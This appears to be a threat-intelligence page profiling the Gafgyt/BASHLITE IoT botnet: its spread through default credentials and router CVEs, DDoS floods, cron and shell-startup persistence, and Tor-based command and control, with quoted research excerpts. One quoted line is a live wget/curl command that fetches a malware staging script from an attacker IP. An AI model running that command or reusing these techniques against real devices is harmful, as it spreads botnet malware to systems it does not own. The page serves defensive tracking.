Loading malware…
Gafgyt, also known as BASHLITE, is a Linux-based botnet malware family first observed in 2014. It primarily compromises routers and other embedded Internet-of-Things devices to conduct distributed denial-of-service (DDoS) attacks. Its source code leaked in 2015, enabling numerous variants and derivatives. Gafgyt code is frequently reused and combined with Mirai code in subsequent IoT botnets.
The family propagates through weak or default credentials and exploitation of vulnerable network-facing services. Analyzed variants implement Telnet scanning and credential brute-forcing, while others incorporate command-injection and remote-code-execution exploits against routers, surveillance equipment, and other embedded systems. Documented targets include Huawei routers affected by CVE-2017-17215 and devices exposing vulnerable WeMo UPnP interfaces. The Gafgyt-derived Hakai variant has exploited D-Link CVE-2015-2051 and vulnerable ThinkPHP installations, while Hoaxcalls has targeted Netlink GPON routers. Infection chains commonly use shell staging scripts to retrieve and execute architecture-specific Linux binaries.
Gafgyt receives commands from command-and-control infrastructure to coordinate attacks. Analyzed BASHLITE variants support TCP, UDP, and acknowledgment floods, amplification attacks, simultaneous attack methods, and routines intended to bypass DDoS mitigation services. Some variants also terminate specified processes and download and execute additional payloads, including cryptocurrency miners and device-bricking malware. These additional functions are variant-dependent rather than universal characteristics of the family.
21 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Keksec frequently used Gafgyt source code, which was leaked in 2015 and had infected approximately one million devices by 2016.
Gafgyt_tor share the same origin with the Gafgyt samples described by the keksec group, the core function is still DDoS attacks and scanning.
The original Mirai was consistently tweaked to compete with its “DDoS-as-a-Service” provider rival vDOS and their Gafgyt botnet.
BASHLITE (also known as Gafgyt, Lizkebab, PinkSlip, Qbot, Torlus and LizardStresser) is malware which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS).
28 distinct techniques documented for this family, organized by ATT&CK tactic.
We can see that Keksec launched scans and attacks on targets across the network almost non-stop. Our honeypots see new variants and exploits all the time, with the exception of some occasional breaks. When a new exploit is introduced, the scans increase significantly.
By leveraging on commodity malware, they are attempting to operate under the cloak of anonymity to avoid being identified as state-sponsored hacker groups.
The infection sequence initiates with the transmission of a meticulously crafted HTTP request by an attacker to a designated system employing Log4j.
The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.
An attacker can then remotely issue commands ... and download other files to the compromised devices.
They may also have a mechanism to run arbitrary shell commands on the infected machine.
OWARI retained the default password technique to propagate the victim device and added a few exploit scanners like CVE-2017–17215 Huawei exploit...
[C0XMO] modifies shell startup files such as .bashrc, .profile, and .bash_profile to ensure execution after system reboots.
The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.
[C0XMO] modifies shell startup files such as .bashrc, .profile, and .bash_profile to ensure execution after system reboots.
The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.
Most of the Gafgyt and Tsunami samples we captured were not packed... String encoding... Necro also cryptographically protects the string by first performing character substitution and then doing zip compression.
a few of the packed samples used the standard UPX shell
A very traditional technique on Linux systems is to use random strings to override argv parameters and prctl(PR_SET_NAME,buf) to change the process name and start parameters in order to disguise the process.
BRICKER downloads and executes a bricker malware from a specified URL to presumably eliminate competing bots. MINER downloads and executes a cryptocurrency-mining malware on the infected machine, while PKILL terminates a specified process.
C0XMO copies itself into hidden directories including: /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys, $HOME/.sys.
« Élimination de la concurrence : Tue les processus wget, curl, sshd et les processus Mirai/Gafgyt »
Packet sniffing is one of the more favoured features of Keksec, and the code can be seen in all three families. The basic function is to capture TCP traffic after filtering out some specified ports and IPs, and to send the remaining data to the C2.
Mirai attempted a brute-force attack with a pre-configured list of known factory defaults and most commonly used credentials.
C0XMO is actively targeting internet-exposed devices through a combination of vulnerability exploitation, weak-credential attacks, and automated lateral movement.
Packet sniffing is one of the more favoured features of Keksec, and the code can be seen in all three families. The basic function is to capture TCP traffic after filtering out some specified ports and IPs, and to send the remaining data to the C2.
“The core function is still DDoS attacks and scanning”; samples contain scan functions named “ak47Scan” and “ak47telscan.”
« Tue les processus wget, curl, sshd et les processus Mirai/Gafgyt »
Target Architecture Identified → Matching Binary Deployed.
After persistence is established, C0XMO connects to its command-and-control infrastructure and performs a custom multi-stage handshake.
We found Tor proxy being used to communicate with the C2 in both Gafgyt and Necro.
In Gafgyt Tor proxy is used to talk to the C2 through a built-in proxy list. Up to 173 proxy IPs can be used for a single sample.
wget http://200.150.205.65/8UsA.sh; curl -O http://200.150.205.65/8UsA.sh
Base64 code has also been identified ... Upon decoding, it was discerned that subsequent to compromising a victim machine, it initiated contact with a URL to fetch a shell script.
It now also sports additional DDoS-related commands, and added new ones that gave the malware cryptocurrency mining and backdoor capabilities.
Gafgyt is a long-running IoT malware family primarily associated with botnet operations and distributed denial-of-service (DDoS) attacks... DDoS Capability Activated.
The most notable of Bashlite’s backdoor commands include simultaneously launching multiple types of DDoS floods to a target
576 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
115 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.